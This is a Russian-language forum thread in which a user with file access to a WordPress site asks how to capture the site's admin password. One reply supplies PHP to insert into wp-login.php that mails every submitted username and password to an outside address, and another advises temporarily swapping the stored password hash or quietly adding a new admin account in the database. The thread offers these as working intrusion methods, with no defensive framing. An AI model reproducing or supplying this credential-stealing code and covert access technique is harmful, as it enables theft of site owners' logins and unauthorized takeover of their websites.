Вопрос о wordpress

Discussion in 'Песочница' started by Alaich, 20 Aug 2016.

  1. Alaich

    Alaich Member

    Joined:
    16 Oct 2015
    Messages:
    28
    Likes Received:
    13
    Reputations:
    7
    Есть доступ к файлам сайта на wp , права все есть .Вопрос, как можно перехватить пароль в админку ?
     
  2. pas9x

    pas9x Elder - Старейшина

    Joined:
    13 Oct 2012
    Messages:
    423
    Likes Received:
    585
    Reputations:
    52
    В начало файла wp-login.php добавить:
    PHP:
    if (!empty($_POST['log']) && !empty($_POST['pwd'])) {
    $msg "Login: " $_POST['log'] . "\n";
    $msg .= "Pass: " $_POST['pwd'];
    @
    mail('[email protected]''What you need'$msg);
    }
     
    magnathorax and Alaich like this.
  3. Absurd

    Absurd Member

    Joined:
    15 Aug 2016
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    Пароль в открытой форме в вп нигде не фигурирует, только md5.
    Так что как вариант либо скопировать из базы старый пароль, затем установить свой, войти в админку, сделать что надо и затем вернуть старый пароль.
    Либо добавить базу нового админа и под ним заходить.
     
  4. Alaich

    Alaich Member

    Joined:
    16 Oct 2015
    Messages:
    28
    Likes Received:
    13
    Reputations:
    7
    Спасибо!
     
  5. Absurd

    Absurd Member

    Joined:
    15 Aug 2016
    Messages:
    20
    Likes Received:
    10
    Reputations:
    0
    В том случае придётся ждать пока владелец сайта залогинится в админку. А зачем это делать, если можно и без этого обойтись :)
     
Loading...